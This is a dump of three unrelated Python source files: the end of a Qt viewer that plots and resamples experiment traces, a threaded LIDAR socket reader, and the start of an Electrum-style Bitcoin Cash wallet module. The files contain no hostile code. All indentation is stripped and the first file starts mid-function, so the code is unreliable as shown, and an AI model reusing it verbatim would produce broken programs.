colour_item = self.shot_model.item(i,SHOT_MODEL__COLOUR_INDEX)
if item.checkState() == Qt.Checked:
ticked_shots[item.data()] = colour_item.data(Qt.UserRole)()
return ticked_shots
def update_channels_treeview(self):
ticked_shots = self.get_selected_shots_and_colours()
# get set of channels
channels = {}
for shot in ticked_shots.keys():
channels[shot] = set(shot.channels)
channels_set = frozenset().union(*channels.values())
# now find channels in channels_set which are not in the treeview, and add them
# now find channels in channels set which are already in the treeview, but deactivated, and activate them
treeview_channels_dict = {}
deactivated_treeview_channels_dict = {}
for i in range(self.channel_model.rowCount()):
item = self.channel_model.item(i,CHANNEL_MODEL__CHECKBOX_INDEX)
# Sanity check
if item.text() in treeview_channels_dict:
raise RuntimeError("A duplicate channel name was detected in the treeview due to an internal error. Please lodge a bugreport detailing how the channels with the same name appeared in the channel treeview. Please restart the application")
treeview_channels_dict[item.text()] = i
if not item.isEnabled():
deactivated_treeview_channels_dict[item.text()] = i
treeview_channels = set(treeview_channels_dict.keys())
deactivated_treeview_channels = set(deactivated_treeview_channels_dict.keys())
# find list of channels to work with
channels_to_add = channels_set.difference(treeview_channels)
for channel in sorted(channels_to_add):
items = []
check_item = QStandardItem(channel)
check_item.setEditable(False)
check_item.setCheckable(True)
check_item.setCheckState(Qt.Checked)
items.append(check_item)
# channel_name_item = QStandardItem(channel)
# channel_name_item.setEditable(False)
# items.append(channel_name_item)
self.channel_model.appendRow(items)
channels_to_reactivate = deactivated_treeview_channels.intersection(channels_set)
for channel in channels_to_reactivate:
for i in range(self.channel_model.columnCount()):
item = self.channel_model.item(deactivated_treeview_channels_dict[channel],i)
item.setEnabled(True)
item.setSelectable(True)
# now find channels in the treeview which are not in the channels_set and deactivate them
channels_to_deactivate = treeview_channels.difference(channels_set)
for channel in channels_to_deactivate:
for i in range(self.channel_model.columnCount()):
item = self.channel_model.item(treeview_channels_dict[channel],i)
item.setEnabled(False)
item.setSelectable(False)
# TODO: Also update entries in groups
self.update_plots()
def update_plots(self):
# get list of selected shots
ticked_shots = self.get_selected_shots_and_colours()
# SHould we rescale the x-axis?
# if self._hidden_plot[0].getViewBox.getState()['autoRange'][0]:
# self._hidden_plot[0].enableAutoRange(axis=pg.ViewBox.XAxis)
# else:
# self._hidden_plot[0].enableAutoRange(axis=pg.ViewBox.XAxis, enable=False)
# find stop time of longest ticked shot
largest_stop_time = 0
stop_time_set = False
for shot in ticked_shots.keys():
if shot.stop_time > largest_stop_time:
largest_stop_time = shot.stop_time
stop_time_set = True
if not stop_time_set:
largest_stop_time = 1.0
#Update the range of the link plot
self._hidden_plot[1].setData([0,largest_stop_time],[0,1e-9])
# Update plots
for i in range(self.channel_model.rowCount()):
check_item = self.channel_model.item(i,CHANNEL_MODEL__CHECKBOX_INDEX)
channel = check_item.text()
if check_item.checkState() == Qt.Checked and check_item.isEnabled():
# we want to show this plot
# does a plot already exist? If yes, show it
if channel in self.plot_widgets:
self.plot_widgets[channel].show()
# update the plot
# are there are plot items for this channel which are shown that should not be?
to_delete = []
for shot in self.plot_items[channel]:
if shot not in ticked_shots.keys():
self.plot_widgets[channel].removeItem(self.plot_items[channel][shot])
to_delete.append(shot)
for shot in to_delete:
del self.plot_items[channel][shot]
# do we need to add any plot items for shots that were not previously selected?
for shot, colour in ticked_shots.items():
if shot not in self.plot_items[channel]:
# plot_item = self.plot_widgets[channel].plot(shot.traces[channel][0], shot.traces[channel][1], pen=pg.mkPen(QColor(colour), width=2))
# Add empty plot as it the custom resampling we do will happen quicker if we don't attempt to first plot all of the data
plot_item = self.plot_widgets[channel].plot([],[], pen=pg.mkPen(QColor(colour), width=2), stepMode=True)
self.plot_items[channel][shot] = plot_item
# If no, create one
else:
self.plot_widgets[channel] = pg.PlotWidget(name=channel)
self.plot_widgets[channel].setMinimumHeight(200)
self.plot_widgets[channel].setMaximumHeight(200)
self.plot_widgets[channel].setLabel('left', channel, units='V')
self.plot_widgets[channel].setLabel('bottom', 'Time', units='s')
self.plot_widgets[channel].showAxis('right', True)
self.plot_widgets[channel].setXLink('runviewer - time axis link')
self.plot_widgets[channel].sigXRangeChanged.connect(self.on_x_range_changed)
self.ui.plot_layout.addWidget(self.plot_widgets[channel])
for shot, colour in ticked_shots.items():
if channel in shot.traces:
# plot_item = self.plot_widgets[channel].plot(shot.traces[channel][0], shot.traces[channel][1], pen=pg.mkPen(QColor(colour), width=2))
# Add empty plot as it the custom resampling we do will happen quicker if we don't attempt to first plot all of the data
plot_item = self.plot_widgets[channel].plot([],[], pen=pg.mkPen(QColor(colour), width=2), stepMode=True)
self.plot_items.setdefault(channel, {})
self.plot_items[channel][shot] = plot_item
else:
if channel in self.plot_widgets:
self.plot_widgets[channel].hide()
self._resample = True
def on_x_range_changed(self, *args):
# print 'x range changed'
self._resample = True
@inmain_decorator(wait_for_return=True)
def _get_resample_params(self, channel, shot):
rect = self.plot_items[channel][shot].getViewBox().viewRect()
xmin, xmax = rect.left(), rect.width() + rect.left()
dx = xmax - xmin
view_range = self.plot_widgets[channel].viewRange()
return view_range[0][0], view_range[0][1], dx
def resample(self,data_x, data_y, xmin, xmax, stop_time, num_pixels):
"""This is a function for downsampling the data before plotting
it. Unlike using nearest neighbour interpolation, this method
preserves the features of the plot. It chooses what value to
use based on what values within a region are most different
from the values it's already chosen. This way, spikes of a short
duration won't just be skipped over as they would with any sort
of interpolation."""
#TODO: Only finely sample the currently visible region. Coarsely sample the rest
# x_out = numpy.float32(numpy.linspace(data_x[0], data_x[-1], 4000*(data_x[-1]-data_x[0])/(xmax-xmin)))
x_out = numpy.float64(numpy.linspace(xmin, xmax, 3*2000+1))
y_out = numpy.empty(len(x_out), dtype=numpy.float64)
data_x = numpy.float64(data_x)
data_y = numpy.float64(data_y)
resampling = True
if resampling:
_resample(data_x, data_y, x_out, y_out, numpy.float64(stop_time))
# y_out = self.__resample4(data_x, data_y, x_out,numpy.float32(stop_time))
else:
x_out, y_out = data_x, data_y
return x_out, y_out
def __resample4(self, x_in, y_in, x_out, stop_time):
#we want x-out to have three times the number of points as there are pixels
# Plus one at the end
y_out = numpy.empty(len(x_out))
print 'len x_out: %d'%len(x_out)
# A couple of special cases that I don't want to have to put extra checks in for:
if x_out[-1] < x_in[0] or x_out[0] > stop_time:
# We're all the way to the left of the data or all the way to the right. Fill with NaNs:
y_out.fill('NaN')
elif x_out[0] > x_in[-1]:
# We're after the final clock tick, but before stop_time
i = 0
while i < len(x_out):
if x_out[i] < stop_time:
y_out[i] = y_in[-1]
else:
y_out[i] = numpy.float('NaN')
i += 1
else:
i = 0
j = 1
# Until we get to the data, fill the output array with NaNs (which
# get ignored when plotted)
while x_out[i] < x_in[0]:
y_out[i] = numpy.float('NaN')
y_out[i+1] = numpy.float('NaN')
y_out[i+2] = numpy.float('NaN')
i += 3
# If we're some way into the data, we need to skip ahead to where
# we want to get the first datapoint from:
while x_in[j] < x_out[i]:
j += 1
# Get the first datapoint:
# y_out[i] = y_in[j-1]
# i += 1
# Get values until we get to the end of the data:
while j < len(x_in) and i < len(x_out)-1: # Leave one spare for the final data point
# This is 'nearest neighbour on the left' interpolation. It's
# what we want if none of the source values checked in the
# upcoming loop are used:
y_out[i] = y_in[j-1]
i+=2
positive_jump_value = 0
positive_jump_index = j-1
negative_jump_value = 0
negative_jump_index = j-1
# now find the max and min values between this x_out time point and the next x_out timepoint
print i
while j < len(x_in) and x_in[j] < x_out[i]:
jump = y_in[j] - y_out[i-2]
# would using this source value cause a bigger positive jump?
if jump > 0 and jump > positive_jump_value:
positive_jump_value = jump
positive_jump_index = j
# would using this source value cause a bigger negative jump?
elif jump < 0 and jump < negative_jump_value:
negative_jump_value = jump
negative_jump_index = j
j+=1
if positive_jump_index < negative_jump_index:
y_out[i-1] = y_in[positive_jump_index]
y_out[i] = y_in[negative_jump_index]
#TODO: We could override the x_out values with x_in[jump_index]
else:
y_out[i-1] = y_in[negative_jump_index]
y_out[i] = y_in[positive_jump_index]
i += 1
# Get the last datapoint:
if j < len(x_in):
y_out[i] = y_in[j]
i += 1
# if i < len(x_out):
# y_out[i] = y_in[-1]
# i += 1
# Fill the remainder of the array with the last datapoint,
# if t < stop_time, and then NaNs after that:
while i < len(x_out):
if x_out[i] < stop_time:
y_out[i] = y_in[-1]
else:
y_out[i] = numpy.float('NaN')
i += 1
return y_out
def __resample3(self,x_in,y_in,x_out, stop_time):
"""This is a Python implementation of the C extension. For
debugging and developing the C extension."""
y_out = numpy.empty(len(x_out))
i = 0
j = 1
# A couple of special cases that I don't want to have to put extra checks in for:
if x_out[-1] < x_in[0] or x_out[0] > stop_time:
# We're all the way to the left of the data or all the way to the right. Fill with NaNs:
while i < len(x_out):
y_out[i] = numpy.float('NaN')
i += 1
elif x_out[0] > x_in[-1]:
# We're after the final clock tick, but before stop_time
while i < len(x_out):
if x_out[i] < stop_time:
y_out[i] = y_in[-1]
else:
y_out[i] = numpy.float('NaN')
i += 1
else:
# Until we get to the data, fill the output array with NaNs (which
# get ignored when plotted)
while x_out[i] < x_in[0]:
y_out[i] = numpy.float('NaN')
i += 1
# If we're some way into the data, we need to skip ahead to where
# we want to get the first datapoint from:
while x_in[j] < x_out[i]:
j += 1
# Get the first datapoint:
y_out[i] = y_in[j-1]
i += 1
# Get values until we get to the end of the data:
while j < len(x_in) and i < len(x_out):
# This is 'nearest neighbour on the left' interpolation. It's
# what we want if none of the source values checked in the
# upcoming loop are used:
y_out[i] = y_in[j-1]
while j < len(x_in) and x_in[j] < x_out[i]:
# Would using this source value cause the interpolated values
# to make a bigger jump?
if numpy.abs(y_in[j] - y_out[i-1]) > numpy.abs(y_out[i] - y_out[i-1]):
# If so, use this source value:
y_out[i] = y_in[j]
j+=1
i += 1
# Get the last datapoint:
if i < len(x_out):
y_out[i] = y_in[-1]
i += 1
# Fill the remainder of the array with the last datapoint,
# if t < stop_time, and then NaNs after that:
while i < len(x_out):
if x_out[i] < stop_time:
y_out[i] = y_in[-1]
else:
y_out[i] = numpy.float('NaN')
i += 1
return y_out
def _resample_thread(self):
while True:
if self._resample:
self._resample = False
# print 'resampling'
ticked_shots = inmain(self.get_selected_shots_and_colours)
for shot, colour in ticked_shots.items():
for channel in shot.traces:
xmin, xmax, dx = self._get_resample_params(channel,shot)
# We go a bit outside the visible range so that scrolling
# doesn't immediately go off the edge of the data, and the
# next resampling might have time to fill in more data before
# the user sees any empty space.
xnew, ynew = self.resample(shot.traces[channel][0], shot.traces[channel][1], xmin, xmax, shot.stop_time, dx)
inmain(self.plot_items[channel][shot].setData, xnew, ynew, pen=pg.mkPen(QColor(colour), width=2), stepMode=True)
time.sleep(0.5)
def on_x_axis_reset(self):
self._hidden_plot[0].enableAutoRange(axis=pg.ViewBox.XAxis)
def on_y_axes_reset(self):
for plot_widget in self.plot_widgets.values():
plot_widget.enableAutoRange(axis=pg.ViewBox.YAxis)
def temp_load_shots(self):
for i in range(10):
shot = TempShot(i)
self.load_shot(shot)
def _enable_selected_shots(self):
self.update_ticks_of_selected_shots(Qt.Checked)
def _disable_selected_shots(self):
self.update_ticks_of_selected_shots(Qt.Unchecked)
def update_ticks_of_selected_shots(self, state):
# Get the selection model from the treeview
selection_model = self.ui.shot_treeview.selectionModel()
# Create a list of select row indices
selected_row_list = [index.row() for index in sorted(selection_model.selectedRows())]
# for each row selected
for row in selected_row_list:
check_item = self.shot_model.item(row,SHOT_MODEL__CHECKBOX_INDEX)
check_item.setCheckState(state)
def _move_up(self):
# Get the selection model from the treeview
selection_model = self.ui.channel_treeview.selectionModel()
# Create a list of select row indices
selected_row_list = [index.row() for index in sorted(selection_model.selectedRows())]
# For each row selected
for i,row in enumerate(selected_row_list):
# only move the row if it is not element 0, and the row above it is not selected
# (note that while a row above may have been initially selected, it should by now, be one row higher
# since we start moving elements of the list upwards starting from the lowest index)
if row > 0 and (row-1) not in selected_row_list:
# Remove the selected row
items = self.channel_model.takeRow(row)
# Add the selected row into a position one above
self.channel_model.insertRow(row-1,items)
# Since it is now a newly inserted row, select it again
selection_model.select(self.channel_model.indexFromItem(items[0]),QItemSelectionModel.SelectCurrent)
# reupdate the list of selected indices to reflect this change
selected_row_list[i] -= 1
self.update_plot_positions()
def _move_down(self):
# Get the selection model from the treeview
selection_model = self.ui.channel_treeview.selectionModel()
# Create a list of select row indices
selected_row_list = [index.row() for index in reversed(sorted(selection_model.selectedRows()))]
# For each row selected
for i,row in enumerate(selected_row_list):
# only move the row if it is not the last element, and the row above it is not selected
# (note that while a row below may have been initially selected, it should by now, be one row lower
# since we start moving elements of the list upwards starting from the highest index)
if row < self.channel_model.rowCount()-1 and (row+1) not in selected_row_list:
# Remove the selected row
items = self.channel_model.takeRow(row)
# Add the selected row into a position one above
self.channel_model.insertRow(row+1,items)
# Since it is now a newly inserted row, select it again
selection_model.select(self.channel_model.indexFromItem(items[0]),QItemSelectionModel.SelectCurrent)
# reupdate the list of selected indices to reflect this change
selected_row_list[i] += 1
self.update_plot_positions()
def _move_top(self):
# Get the selection model from the treeview
selection_model = self.ui.channel_treeview.selectionModel()
# Create a list of select row indices
selected_row_list = [index.row() for index in sorted(selection_model.selectedRows())]
# For each row selected
for i,row in enumerate(selected_row_list):
# only move the row while it is not element 0, and the row above it is not selected
# (note that while a row above may have been initially selected, it should by now, be one row higher
# since we start moving elements of the list upwards starting from the lowest index)
while row > 0 and (row-1) not in selected_row_list:
# Remove the selected row
items = self.channel_model.takeRow(row)
# Add the selected row into a position one above
self.channel_model.insertRow(row-1,items)
# Since it is now a newly inserted row, select it again
selection_model.select(self.channel_model.indexFromItem(items[0]),QItemSelectionModel.SelectCurrent)
# reupdate the list of selected indices to reflect this change
selected_row_list[i] -= 1
row -= 1
self.update_plot_positions()
def _move_bottom(self):
selection_model = self.ui.channel_treeview.selectionModel()
# Create a list of select row indices
selected_row_list = [index.row() for index in reversed(sorted(selection_model.selectedRows()))]
# For each row selected
for i,row in enumerate(selected_row_list):
# only move the row while it is not the last element, and the row above it is not selected
# (note that while a row below may have been initially selected, it should by now, be one row lower
# since we start moving elements of the list upwards starting from the highest index)
while row < self.channel_model.rowCount()-1 and (row+1) not in selected_row_list:
# Remove the selected row
items = self.channel_model.takeRow(row)
# Add the selected row into a position one above
self.channel_model.insertRow(row+1,items)
# Since it is now a newly inserted row, select it again
selection_model.select(self.channel_model.indexFromItem(items[0]),QItemSelectionModel.SelectCurrent)
# reupdate the list of selected indices to reflect this change
selected_row_list[i] += 1
row += 1
self.update_plot_positions()
def update_plot_positions(self):
# remove all widgets
layout_items = {}
for i in range(self.ui.plot_layout.count()):
if i == 0:
continue
item = self.ui.plot_layout.takeAt(i)
# add all widgets
for i in range(self.channel_model.rowCount()):
check_item = self.channel_model.item(i,CHANNEL_MODEL__CHECKBOX_INDEX)
channel = check_item.text()
if channel in self.plot_widgets:
self.ui.plot_layout.addWidget(self.plot_widgets[channel])
if check_item.checkState() == Qt.Checked and check_item.isEnabled():
self.plot_widgets[channel].show()
else:
self.plot_widgets[channel].hide()
class Shot(object):
def __init__(self, path):
self.path = path
# Store list of traces
self._traces = None
# store list of channels
self._channels = None
# TODO: Get this dynamically
device_list = ['PulseBlaster', 'NI_PCIe_6363', 'NI_PCI_6733']
# Load connection table
self.connection_table = ConnectionTable(path)
# open h5 file
with h5py.File(path, 'r') as file:
# Get master pseudoclock
self.master_pseudoclock_name = file['connection table'].attrs['master_pseudoclock']
# get stop time
self.stop_time = file['devices/%s'%self.master_pseudoclock_name].attrs['stop_time']
self.device_names = file['devices'].keys()
def delete_cache(self):
self._channels = None
self._traces = None
def _load(self):
if self._channels is None:
self._channels = {}
if self._traces is None:
self._traces = {}
# Let's walk the connection table, starting with the master pseudoclock
master_pseudoclock_device = self.connection_table.find_by_name(self.master_pseudoclock_name)
self._load_device(master_pseudoclock_device)
def _load_device(self, device, clock=None):
try:
print 'loading %s'%device.name
module = device.device_class
# Load the master pseudoclock class
labscript_devices.import_device(module)
device_class = labscript_devices.get_runviewer_class(module)
device_instance = device_class(self.path, device.name)
traces = device_instance.get_traces(clock)
# walk through all of the children of the master pseudoclock
self._walk_children(device, traces)
except Exception:
#TODO: print/log exception traceback
# if device.name == 'ni_card_0' or device.name == 'pulseblaster_0' or device.name == 'pineblaster_0' or device.name == 'ni_card_1':
# raise
if hasattr(device, 'name'):
print 'Failed to load device %s'%device.name
else:
print 'Failed to load device (unknown name, device object does not have attribute name)'
def _walk_children(self, device, device_traces):
# iterate over all the children of this device
for child_name, child in device.child_list.items():
# if this child is a device, load the device!
if child_name in self.device_names:
if child.parent_port in device_traces:
self._load_device(child, device_traces[child.parent_port])
else:
print 'Failed to load device %s'%child_name
# This item is not a device, and if it has children and is not of class Trigger, it is probably something
# like a DDS for which we want to show traces of the grandchildren only
elif child.child_list and child.device_class != 'Trigger':
for grandchild_name, grandchild in child.child_list.items():
port = '%s_%s'%(child.parent_port, grandchild.parent_port)
if port in device_traces:
self._channels[grandchild_name] = {'device_name':device.name, 'port':port}
self._traces[grandchild_name] = device_traces[self._channels[grandchild_name]['port']]
# else it has no children, or is a device Trigger
else:
# if it is a trigger, loop over all children and load those devices
if child.device_class == 'Trigger':
for grandchild_name, grandchild in child.child_list.items():
if grandchild_name in self.device_names:
if child.parent_port in device_traces:
self._load_device(grandchild, device_traces[child.parent_port])
else:
print 'Failed to load device %s'%child_name
port = '%s'%(child.parent_port)
if port in device_traces:
self._channels[child_name] = {'device_name':device.name, 'port':port}
self._traces[child_name] = device_traces[self._channels[child_name]['port']]
@property
def channels(self):
if self._channels is None:
self._load()
return self._channels.keys()
def clear_cache(self):
# clear cache variables to cut down on memory usage
pass
@property
def traces(self):
# if traces cached:
# return cached traces and waits
if self._traces is None:
self._load()
return self._traces
class TempShot(Shot):
def __init__(self, i):
Shot.__init__(self, 'shot %d'%i)
self._channels = ['Bx', 'By', 'Bz', 'Bq']
self.stop_time = i+1
self.traces = {}
no_x_points = 10000
for channel in self.channels:
# self.traces[channel] = (numpy.linspace(0,10,no_x_points), numpy.random.rand(no_x_points))
x_points = numpy.linspace(0,self.stop_time,no_x_points)
self.traces[channel] = (x_points, (i+1)*numpy.sin(x_points*numpy.pi+i/11.0*2*numpy.pi))
@property
def channels(self):
return self._channels
def get_traces(self):
return self.traces
if __name__ == "__main__":
qapplication = QApplication(sys.argv)
app = RunViewer()
def execute_program():
qapplication.exec_()
sys.exit(execute_program())
|
threads.py |
__author__="Jaimiey Sears, Sully Cothran"
__copyright__="January 31, 2016"
__version__= 2
import queue
import threading
import socket
from utility import *
from constants import *
# from lidar_servo_driver import turnTo
##############################
# PROGRAM MAIN ENTRY POINT #
##############################
def main():
lt = LidarThreads()
# make the first string for reading LIDAR data
debugPrint("Starting", ROSTA)
th1_stop = threading.Event()
th1 = threading.Thread(target=lt.produce, args=(lt.dataQueue, th1_stop,), name="data_reader")
debugPrint("Done making thread 1", ROSTA)
# make the second string to process the LIDAR data
th2_stop = threading.Event()
th2 = threading.Thread(target=lt.consume, args=(lt.dataQueue, th2_stop,), name="cartesian_converter")
debugPrint("done making thread 2", ROSTA)
# start both strings
th1.start()
th2.start()
# close the threads down
while th1.isAlive():
# th1_stop.set()
th1.join(1.0)
debugPrint("producer stopped", ROSTA)
while th2.isAlive():
th2_stop.set()
th2.join(1.0)
debugPrint("consumer stopped", ROSTA)
#save into an excel worksheet
# wbSave('test_data/{}'.format(generateStampedFileName('.xlsx')), lt.processedDataArrays)
th1_stop.set()
th2_stop.set()
debugPrint("Done running threads", ROSTA)
debugPrint("exiting with code {}".format(lt.exit()), ROSTA)
debugPrint("queue size at exit: {}".format(lt.dataQueue.qsize()), ROSTA)
#####################
## UNIT TEST 1 END ##
#####################
##
# Placeholder for cartesian conversion ftn
##
def sphericalToCartesian(data):
time.sleep(0.005)
#print("Placeholder: Cartesian map conversion")
return data
##
# LidarThreads
# class controls threads for gathering LIDAR data
# **Version 0.10 the actual functions are simulated with time.sleep statements**
##
class LidarThreads():
def __init__(self):
# don't forget: netsh interface ip set address "Local Area Connection" static 192.168.0.100
global nhokreadings
self.commandOutput = ""
self.dataOutput = ""
self.slitAngle = START_ANGLE
#command to get data from the lidar
self.command = 'MD'+'0180'+'0900'+'00'+'0'+'01'
# establish communication with the sensor
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
self.socket.settimeout(.1)
self.socket.connect(("192.168.0.10", 10940))
except socket.timeout as e:
debugPrint("I can't connect. Exiting.", SOCKET_MSG)
exit(-1)
# dataQueue is a Queue of strings
# each string representing a slice (scan)
self.dataQueue = queue.Queue()
self.processedDataArrays = []
##
# produce
#
# Description: gets data from the LIDAR unit, puts it into the queue
#
# Parameters:
# dataQueue - queue to submit data to
# stop_event - event to listen to for exit
##
def produce(self, dataQueue, stop_event):
counter = 0
angleDegrees = 0
#while not stop_event.is_set():
for i in range (0,10):
# rotate the lidar to the correct degree setting
# turnTo(angleDegrees)
angleRadians = math.radians(int(angleDegrees))
# move the angle 10 degrees for next run
# TODO: move to bottom of fn
angleDegrees += 10
# wait for the Queue to empty so we don't overflow the buffer
while dataQueue.qsize() > 0:
pass
# get the starting theta angle
self.slitAngle = START_ANGLE
# send scan request to the LIDAR
self.socket.send(("{}\n".format(self.command)).encode())
# get rid of the intro information
intro = self.socket.recv(21) #response message
intro += self.socket.recv(26) #scan response intro
# print intro
# input("paused")
debugPrint(intro, SOCKET_DATA)
data = ''
# receive data from the LIDAR
for j in range(0, 1024):
try:
# time.sleep(0.01)
# get a line of data from the LIDAR queue
temp = self.socket.recv(66)
if len(temp) == 66:
data += temp[:-2].decode()
else:
data += temp[:-3].decode()
# format the data we've recieved
# data = temp.split("\n")
# data.reverse()
except socket.timeout as e:
debugPrint("waiting for data", SOCKET_MSG)
break
try:
dataQueue.put((data, angleRadians))
except queue.Full as e:
debugPrint("Data Queue is full.", SOCKET_MSG)
continue
counter += 1.0
##
# consume
#
# Description: consumes data from the queue
#
# Parameters:
# dataQueue - queue to consume from
# stop_event - the event to watch for quitting.
##
def consume(self, dataQueue, stop_event):
# TODO delete
# counter = 0
# xLines = []
# yLines = []
# zLines = []
# phiLines = []
# thetaLines = []
# distLines = []
#
# dataSet = ""
# emptied indicates whether the queue has been exhausted (primarily for debug printing purposes)
emptied = False
while not stop_event.is_set():
try:
# get a scan of data from the queue
data, anglePhi = dataQueue.get(timeout=0.05)
X, Y, Z, DISTS, PHIS, THETAS = decode_new(data, anglePhi)
# print the data in a debug message
debugPrint("X:{}\n\nY:{}\n\nZ:{}\n\nD:{}\n\nPH:{}\n\nTH:{}"
.format(X,Y,Z,DISTS,PHIS,THETAS), SOCKET_DATA)
# add the data to the global variable
self.processedDataArrays[X_IDX] += X
self.processedDataArrays[Y_IDX] += Y
self.processedDataArrays[Z_IDX] += Z
self.processedDataArrays[D_IDX] += DISTS
self.processedDataArrays[PHI_IDX] += PHIS
self.processedDataArrays[TH_IDX] += THETAS
except queue.Empty as e:
if not emptied:
debugPrint( "Data Queue is empty", SOCKET_MSG)
emptied = True
continue
##
# exit
#
# Description: closes out the socket
# returns: 0 on success, -1 on failure
##
def exit(self):
if not self.socket is None:
self.socket.close()
return 0
else:
return -1
|
wallet.py | # Electrum - lightweight Bitcoin client
# Copyright (C) 2015 Thomas Voegtlin
#
# Permission is hereby granted, free of charge, to any person
# obtaining a copy of this software and associated documentation files
# (the "Software"), to deal in the Software without restriction,
# including without limitation the rights to use, copy, modify, merge,
# publish, distribute, sublicense, and/or sell copies of the Software,
# and to permit persons to whom the Software is furnished to do so,
# subject to the following conditions:
#
# The above copyright notice and this permission notice shall be
# included in all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
# Wallet classes:
# - ImportedAddressWallet: imported address, no keystore
# - ImportedPrivkeyWallet: imported private keys, keystore
# - Standard_Wallet: one keystore, P2PKH
# - Multisig_Wallet: several keystores, P2SH
import copy
import errno
import json
import os
import queue
import random
import time
import threading
from collections import defaultdict
from functools import partial
from .i18n import ngettext
from .util import NotEnoughFunds, ExcessiveFee, PrintError, UserCancelled, profiler, format_satoshis, format_time, finalization_print_error
from .address import Address, Script, ScriptOutput, PublicKey, OpCodes
from .bitcoin import *
from .version import *
from .keystore import load_keystore, Hardware_KeyStore, Imported_KeyStore, BIP32_KeyStore, xpubkey_to_address
from . import networks
from . import keystore
from .storage import multisig_type, WalletStorage
from . import transaction
from .transaction import Transaction, InputValueMissing
from .plugins import run_hook
from . import bitcoin
from . import coinchooser
from .synchronizer import Synchronizer
from .verifier import SPV, SPVDelegate
from . import schnorr
from . import ecc_fast
from .blockchain import NULL_HASH_HEX
from . import paymentrequest
from .paymentrequest import PR_PAID, PR_UNPAID, PR_UNKNOWN, PR_EXPIRED
from .paymentrequest import InvoiceStore
from .contacts import Contacts
from . import cashacct
from . import slp
def _(message): return message
TX_STATUS = [
_('Unconfirmed parent'),
_('Low fee'),
_('Unconfirmed'),
_('Not Verified'),
]
del _
from .i18n import _
DEFAULT_CONFIRMED_ONLY = False
def relayfee(network):
RELAY_FEE = 5000
MAX_RELAY_FEE = 50000
f = network.relay_fee if network and network.relay_fee else RELAY_FEE
return min(f, MAX_RELAY_FEE)
def dust_threshold(network):
# Change < dust threshold is added to the tx fee
#return 182 * 3 * relayfee(network) / 1000 # original Electrum logic
#return 1 # <-- was this value until late Sept. 2018
return 546 # hard-coded Bitcoin Cash dust threshold. Was changed to this as of Sept. 2018
def sweep_preparations(privkeys, network, imax=100):
class InputsMaxxed(Exception):
pass
def append_utxos_to_inputs(inputs, pubkey, txin_type):
if txin_type == 'p2pkh':
address = Address.from_pubkey(pubkey)
else:
address = PublicKey.from_pubkey(pubkey)
sh = address.to_scripthash_hex()
u = network.synchronous_get(('blockchain.scripthash.listunspent', [sh]))
for item in u:
if len(inputs) >= imax:
raise InputsMaxxed()
item['address'] = address
item['type'] = txin_type
item['prevout_hash'] = item['tx_hash']
item['prevout_n'] = item['tx_pos']
item['pubkeys'] = [pubkey]
item['x_pubkeys'] = [pubkey]
item['signatures'] = [None]
item['num_sig'] = 1
inputs.append(item)
def find_utxos_for_privkey(txin_type, privkey, compressed):
pubkey = bitcoin.public_key_from_private_key(privkey, compressed)
append_utxos_to_inputs(inputs, pubkey, txin_type)
keypairs[pubkey] = privkey, compressed
inputs = []
keypairs = {}
try:
for sec in privkeys:
txin_type, privkey, compressed = bitcoin.deserialize_privkey(sec)
find_utxos_for_privkey(txin_type, privkey, compressed)
# do other lookups to increase support coverage
if is_minikey(sec):
# minikeys don't have a compressed byte
# we lookup both compressed and uncompressed pubkeys
find_utxos_for_privkey(txin_type, privkey, not compressed)
elif txin_type == 'p2pkh':
# WIF serialization does not distinguish p2pkh and p2pk
# we also search for pay-to-pubkey outputs
find_utxos_for_privkey('p2pk', privkey, compressed)
elif txin_type == 'p2sh':
raise ValueError(_("The specified WIF key '{}' is a p2sh WIF key. These key types cannot be swept.").format(sec))
except InputsMaxxed:
pass
if not inputs:
raise ValueError(_('No inputs found. (Note that inputs need to be confirmed)'))
return inputs, keypairs
def sweep(privkeys, network, config, recipient, fee=None, imax=100, sign_schnorr=False):
inputs, keypairs = sweep_preparations(privkeys, network, imax)
total = sum(i.get('value') for i in inputs)
if fee is None:
outputs = [(TYPE_ADDRESS, recipient, total)]
tx = Transaction.from_io(inputs, outputs, sign_schnorr=sign_schnorr)
fee = config.estimate_fee(tx.estimated_size())
if total - fee < 0:
raise NotEnoughFunds(_('Not enough funds on address.') + '\nTotal: %d satoshis\nFee: %d'%(total, fee))
if total - fee < dust_threshold(network):
raise NotEnoughFunds(_('Not enough funds on address.') + '\nTotal: %d satoshis\nFee: %d\nDust Threshold: %d'%(total, fee, dust_threshold(network)))
outputs = [(TYPE_ADDRESS, recipient, total - fee)]
locktime = network.get_local_height()
tx = Transaction.from_io(inputs, outputs, locktime=locktime, sign_schnorr=sign_schnorr)
tx.BIP_LI01_sort()
tx.sign(keypairs)
return tx
class Abstract_Wallet(PrintError, SPVDelegate):
"""
Wallet classes are created to handle various address generation methods.
Completion states (watching-only, single account, no seed, etc) are handled inside classes.
"""
max_change_outputs = 3
def __init__(self, storage):
self.electrum_version = PACKAGE_VERSION
self.storage = storage
self.thread = None # this is used by the qt main_window to store a QThread. We just make sure it's always defined as an attribute here.
self.network = None
# verifier (SPV) and synchronizer are started in start_threads
self.synchronizer = None
self.verifier = None
self.weak_window = None # Some of the GUI classes, such as the Qt ElectrumWindow, use this to refer back to themselves. This should always be a weakref.ref (Weak.ref), or None
# CashAccounts subsystem. Its network-dependent layer is started in
# start_threads. Note: object instantiation should be lightweight here.
# self.cashacct.load() is called later in this function to load data.
self.cashacct = cashacct.CashAcct(self)
self.slp = slp.WalletData(self)
finalization_print_error(self.cashacct) # debug object lifecycle
finalization_print_error(self.slp) # debug object lifecycle
# Removes defunct entries from self.pruned_txo asynchronously
self.pruned_txo_cleaner_thread = None
# Cache of Address -> (c,u,x) balance. This cache is used by
# get_addr_balance to significantly speed it up (it is called a lot).
# Cache entries are invalidated when tx's are seen involving this
# address (address history chages). Entries to this cache are added
# only inside get_addr_balance.
# Note that this data structure is touched by the network and GUI
